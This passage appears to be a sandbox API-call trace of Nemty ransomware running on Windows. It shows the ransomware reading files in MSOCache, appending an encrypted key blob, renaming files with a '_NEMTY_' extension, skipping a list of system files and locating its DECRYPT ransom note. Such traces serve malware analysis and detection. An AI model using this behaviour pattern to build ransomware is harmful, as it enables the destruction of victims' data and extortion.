dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0048.031] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=1231) returned 1 [0048.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4c0) returned 0x6343fe8 [0048.031] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.031] ReadFile (in: hFile=0x3c8, lpBuffer=0x6343fe8, nNumberOfBytesToRead=0x4c0, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesRead=0x653f1e4*=0x4c0, lpOverlapped=0x0) returned 1 [0048.033] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.033] WriteFile (in: hFile=0x3c8, lpBuffer=0x6343fe8*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesWritten=0x653f1dc*=0x4c0, lpOverlapped=0x0) returned 1 [0048.033] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0048.033] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=1231, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4cf [0048.033] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0048.033] CloseHandle (hObject=0x3c8) returned 1 [0048.034] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0048.034] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0048.034] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.034] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0048.034] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.034] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0048.034] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0048.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0048.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.034] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml._nemty_kgobjgd_")) returned 1 [0048.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0048.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0048.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0048.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0048.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0048.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0048.035] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0048.035] lstrcmpiW (lpString1="Setup.xml", lpString2=".") returned 1 [0048.035] lstrcmpiW (lpString1="Setup.xml", lpString2="..") returned 1 [0048.035] lstrcmpiW (lpString1="Setup.xml", lpString2="...") returned 1 [0048.035] lstrcmpiW (lpString1="Setup.xml", lpString2="windows") returned -1 [0048.035] lstrcmpiW (lpString1="Setup.xml", lpString2="$RECYCLE.BIN") returned 1 [0048.035] lstrcmpiW (lpString1="Setup.xml", lpString2="rsa") returned 1 [0048.035] lstrcmpiW (lpString1="Setup.xml", lpString2="NTDETECT.COM") returned 1 [0048.035] lstrcmpiW (lpString1="Setup.xml", lpString2="ntldr") returned 1 [0048.035] lstrcmpiW (lpString1="Setup.xml", lpString2="MSDOS.SYS") returned 1 [0048.035] lstrcmpiW (lpString1="Setup.xml", lpString2="IO.SYS") returned 1 [0048.035] lstrcmpiW (lpString1="Setup.xml", lpString2="boot.ini") returned 1 [0048.035] lstrcmpiW (lpString1="Setup.xml", lpString2="boot.ini") returned 1 [0048.035] lstrcmpiW (lpString1="Setup.xml", lpString2="AUTOEXEC.BAT") returned 1 [0048.035] lstrcmpiW (lpString1="Setup.xml", lpString2="ntuser.dat") returned 1 [0048.035] lstrcmpiW (lpString1="Setup.xml", lpString2="desktop.ini") returned 1 [0048.035] lstrcmpiW (lpString1="Setup.xml", lpString2="CONFIG.SYS") returned 1 [0048.035] lstrcmpiW (lpString1="Setup.xml", lpString2="RECYCLER") returned 1 [0048.036] lstrcmpiW (lpString1="Setup.xml", lpString2="BOOTSECT.BAK") returned 1 [0048.036] lstrcmpiW (lpString1="Setup.xml", lpString2="bootmgr") returned 1 [0048.036] lstrcmpiW (lpString1="Setup.xml", lpString2="programdata") returned 1 [0048.036] lstrcmpiW (lpString1="Setup.xml", lpString2="appdata") returned 1 [0048.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0048.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0048.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0048.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0048.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0048.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f2a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0048.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0048.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f2d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0048.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0048.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94380 | out: hHeap=0x4f90000) returned 1 [0048.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0048.036] Sleep (dwMilliseconds=0x5) [0048.047] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd05717f0, dwHighDateTime=0x1d561e7)) [0048.048] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd05717f0, dwHighDateTime=0x1d561e7)) [0048.048] GetLastError () returned 0x0 [0048.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.048] GetLastError () returned 0x0 [0048.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.048] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0048.048] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0048.048] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0048.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0048.048] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="cP4s6AxE+CbkY0tiniW5TsXMO605DZz7jowwq/4pJkP4LvIkXoaLOn51lhxIFRAD\r\n13XlGYbDUfmrKl+hE0ZUyd4HSTy2DIkzfQmq67U8yj2m1H9MJtUy5VXwwyQ23dVC\r\na04fjzltZHOW5TqMurI7KoBy21QniDS3s8W9bGHmUL/aHR7INcJFjTG2r1ovb68w\r\n3IBJbB1ulp6NHbbioTm/aUfyAoT6gVHbIMPnOLdYcn9fBMI4f87/4Vs1CLzpC90Q\r\nAgv3Sdxox2kh9+7Wi4iYxJvFJbm1uY2WaqO9B/Of7x4tuD2m2DVRWSW94yHcB9QX\r\nO3Lz6unS1Ufi/sjfR+cqdA==\r\n", pcchString=0x653ef9c) returned 1 [0048.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0048.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0048.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0048.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0048.048] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0048.048] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=1852) returned 1 [0048.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x730) returned 0x4f9f4a0 [0048.049] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.049] ReadFile (in: hFile=0x3c8, lpBuffer=0x4f9f4a0, nNumberOfBytesToRead=0x730, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x4f9f4a0*, lpNumberOfBytesRead=0x653f1e4*=0x730, lpOverlapped=0x0) returned 1 [0048.050] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.050] WriteFile (in: hFile=0x3c8, lpBuffer=0x4f9f4a0*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x4f9f4a0*, lpNumberOfBytesWritten=0x653f1dc*=0x730, lpOverlapped=0x0) returned 1 [0048.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9f4a0 | out: hHeap=0x4f90000) returned 1 [0048.050] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=1852, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x73c [0048.051] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0048.051] CloseHandle (hObject=0x3c8) returned 1 [0048.052] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0048.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0048.052] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0048.052] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942e8 [0048.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0048.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0048.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.053] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml._nemty_kgobjgd_")) returned 1 [0048.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0048.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0048.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0048.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0048.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0048.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0048.054] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0440cf0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd0440cf0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd0440cf0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0048.054] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0048.054] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0048.054] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0048.054] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0048.054] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0048.054] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0048.054] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0048.054] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0048.054] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0048.054] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0048.054] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0048.054] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0048.054] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0048.054] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0048.054] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0048.054] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0048.054] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0048.054] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0048.054] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0048.054] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0048.054] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0048.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.054] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0048.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.054] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0048.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0048.055] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0048.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.055] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0048.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0048.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.055] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0048.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.055] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0048.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.055] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0048.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.055] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ece0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0048.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94240 [0048.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0048.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.055] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0440cf0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd0440cf0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd0440cf0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0048.055] FindClose (in: hFindFile=0x3423930 | out: hFindFile=0x3423930) returned 1 [0048.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | 